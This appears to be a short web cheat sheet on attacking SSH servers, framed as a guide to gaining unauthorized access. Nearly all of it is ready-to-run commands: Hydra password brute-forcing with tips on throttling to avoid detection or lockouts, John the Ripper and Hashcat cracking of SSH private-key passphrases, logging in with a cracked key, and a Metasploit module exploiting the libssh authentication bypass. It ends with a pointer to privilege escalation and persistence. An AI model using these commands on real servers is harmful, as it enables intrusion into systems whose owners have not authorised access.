Comprehensive guide to SSH penetration testing techniques for gaining unauthorized access to SSH servers
hydra -l username -P /path/to/wordlist.txt ssh://192.168.1.1
This command attempts to crack the password for a specific username using a wordlist.
hydra -L /path/to/usernames.txt -P /path/to/passwords.txt ssh://192.168.1.1
This command attempts to crack passwords for multiple usernames using a wordlist.
hydra -l username -P /path/to/wordlist.txt ssh://192.168.1.1:2222
This command targets SSH running on a non-standard port (2222).
hydra -v -l username -P /path/to/wordlist.txt ssh://192.168.1.1
This command provides verbose output during the attack.
hydra -t 4 -l username -P /path/to/wordlist.txt ssh://192.168.1.1
This command limits the number of parallel tasks to 4, which can help avoid detection or lockouts.
# Convert SSH private key to John format ssh2john id_rsa > id_rsa.hash # Crack the key with John john --wordlist=/path/to/wordlist.txt id_rsa.hash
These commands convert an SSH private key to a format that John the Ripper can crack, then attempt to crack the passphrase.
# Convert SSH private key to Hashcat format python ssh2hashcat.py id_rsa > id_rsa.hash # Crack the key with Hashcat hashcat -m 22921 -a 0 id_rsa.hash /path/to/wordlist.txt
These commands convert an SSH private key to a format that Hashcat can crack, then attempt to crack the passphrase.
# Set correct permissions on the private key chmod 600 id_rsa # Use the key to authenticate ssh -i id_rsa username@192.168.1.1
These commands set the correct permissions on a private key and use it to authenticate to an SSH server.
libssh versions 0.6.0 through 0.7.5 and 0.8.0 through 0.8.3 contain an authentication bypass vulnerability that allows an attacker to authenticate without credentials.
# Using Metasploit use auxiliary/scanner/ssh/libssh_auth_bypass set RHOSTS 192.168.1.1 set RPORT 22 run
Techniques for privilege escalation and maintaining access after initial compromise
Learn more